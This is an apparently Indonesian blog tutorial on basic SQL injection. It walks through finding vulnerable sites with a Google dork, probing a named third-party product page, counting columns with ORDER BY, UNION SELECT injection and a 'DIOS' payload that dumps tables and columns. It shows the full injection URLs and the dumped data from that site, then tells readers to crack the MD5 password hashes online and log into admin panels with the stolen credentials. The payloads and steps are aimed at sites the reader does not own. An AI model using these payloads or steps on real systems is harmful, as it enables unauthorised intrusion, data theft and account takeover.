Basic SQL Injection

 

Assalamualaikum wr wb

Kali ini Materi pertama tentang SQL Injection, kita mulai dengan basicnya terlebih dahulu yaitu SQL yang tidak ada bypass bypassan, jadi ini bisa dibilang easy, yaudah langsung ajalah ...

Topik Pembahasan :

1. Bagaimana cara menemukan celah SQLI

2. Bagaimana cara Menginjeksi SQL

3. Dump Database


Pengertian SQL Injection

Serangan SQL injection atau Injeksi SQLmerupakan teknik serangan injeksi kode yang memanfaatkan celah keamanan yang terjadi pada layer basis data dari sebuah aplikasi.Hal ini terjadi sebagai akibat dari data yang diinputkan oleh pengguna tidak dilakukan validasi dan dimuat di dalam baris perintah query SQL

Yaudah segitu aja pengertiannya cukup langsung ke inti permasalahan

- Bagaimana cara menemukan celah SQLI

cara menemukannya ada bnyk cara, contoh yang paling gampang ialah menggunakan dork apa itu dork ?nanti bakal dibahas di post selanjutnya contoh dork yang umum untuk menemukan celah SQL

inurl:php?id= 

Pada situs web biasa nya ada file php?id=123 kebanyakan bug SQL ini terdapat disitu. cobalah copy dan paster dork tersebut di google maka akan muncul banyak situs web yang menampilkan file atau parameter seperti itu

paramater itu ?id=123

2. Bagaimana cara Menginjeksi SQL

Cara yang paling umum untuk mengetahui apakah website itu vuln SQL atau tidak adalah dengan cara memberikan tanda ' kutip di akhir parameter

Kita ambil contoh dengan menggunakan situs http://www.coda-continuum.com/product/product.php?id=4

taro tanda kutip di akhir parameter menjadi : coda-continuum.com/product/product.php?id=4'

Tanda ' (petik) atau %27 itu sama aja

maka akan menghasilkan tampilan atau tulisan

Database error Invalid SQL SELECT FROM products WHERE id 4 ORDER BY id ASC
MySQL error 1064 You have an error in your SQL syntax  check the manual that corresponds to your MySQL server version for the right syntax to use near  ORDER BY id ASC at line 1

Jika muncul tulisan error seperti ini
maka dipastikan web tersebut Vuln SQL Lanjut ..

Sekarang tahap mencari kolom yaitu dengan query

'+order+by+1--+

harusnya ketika disisipkan order by 1 tampilan website harus kembali seperti semula
apabila masih error tatau masih terdapat tulisan MySQL error coba buang tanda petiknya
jadi querynya begini

+order+by+1--+

Karena tiap tiap website berbeda, jadi ada yang tanda petiknya harus dipake dan ada juga yang tidak.

Selanjutnya masi sama kita masih mencari kolom dengan order by  tapi kita harus mencari angka dimana tampilan halaman website ini menjadi error kembali misal

+order+by+14--+  error

+order+by+13--+ normal

berikut tampilannya

Gambar diatas +order+by+14--+ error 

Gambar diatas +order+by+13--+ normal 

Nah maka di angka 14 error berarti kita ambil angka sebelum error yaitu angka 13

Lanjut

Sekarang tahap UNION dimana ORDER BY diganti, querynya seperti ini

+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13--+

Loh kok kenapa sampe 13 ?  karena tadi pada tahap order by itu angka sebelum error ialah angka 13

nah maka unionnya berurutan dari 1 sampai 13

Setelah itu tambahkan tanda - strip disebelum parameter

maka Query lengkapnya seperti ini

coda-continuum.com/product/product.php?id=-4+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13--+

Nah setelah itu maka akan muncul angka pada halaman website tersebut

biasanya kita menyebutnya TOGEL berikut tampilannya

Lanjut

Angka togel yang muncul ialah angka 2 5 4

Kita ambil salah satu saja yaitu angka 2

Seletah itu gantikan angka 2 itu dengan dios yang ada dibawah ini

Jadi querynya  +union+all+select+1,(DIOS TARO SINI),3,4,5,6,7,8,9,10,11,12,13--+

Jangan ketik dios tapi diganti sama dios yang ini :

(select(@x)from(select(@x:='Injected By Rev9'),(select(0)from(information_schema.columns)where(table_schema=database())and('-')in(@x:=concat+(@x,'<br>',table_name,'_',column_name))))x)

Tampilannya berbeda karena DIOSnya beda, mau DIOS kyk w ? nanti kita bahas di materi selanjutnya

Tampilan setelah dimasukkan dios maka akan seperti

Nah setelah ini kalian cari tuh table table dan kolom yang menunjukan seperti admin username password setelah itu kalian dupm

Karena di web ini gak ada table username password kita ambil contoh yang kolom

award_c:ID

award_c:Name

award_c:Banner

Maka Querynya adalah  Concat(nama_table)

Dan setelah angka 13 +from+nama_kolom

Masih belum ngerti ?

Ni w kasih aja query lengkapnya biar lu pahamin sendiri ok

http://www.coda-continuum.com/product/product.php?id=-4+union+all+select+1,Concat(ID,0x3a,Name,0x3a,banner),3,4,5,6,7,8,9,10,11,12,13+from+award_c--+

0x3a itu adalah code hex yang hasilnya ialah titik dua

Jadi w pake titik dua buat misahin antara si ID Nama dan Banner nya biar keliatan gk berantakan aja

Berikut tampilan hasil dupm database di table itu

Hasil nya itu yang tulisan warna putih

1:Six:Moons:bluemoonaward.gif

Nah Kalo misal yang lu dump itu username dan password

biasanya passwordnya itu masi dalam ecrypt MD5 dll

Contoh Md5  83f8d50075542714f88814947278440c

lu decrypt dulu password MD5 itu diwebsite penyedia MD5 w biasa di

www.md5decrypt.net

www.hashes.com

Setelah lu udah decrypt dan dapet password yang sebenarnya

barulah lu cari halaman admin login dan masukanlah username dan password yang baru aja lu dump

Demikian dan Terima Kasih


SHARE THIS

Author:

Previous Post
Next Post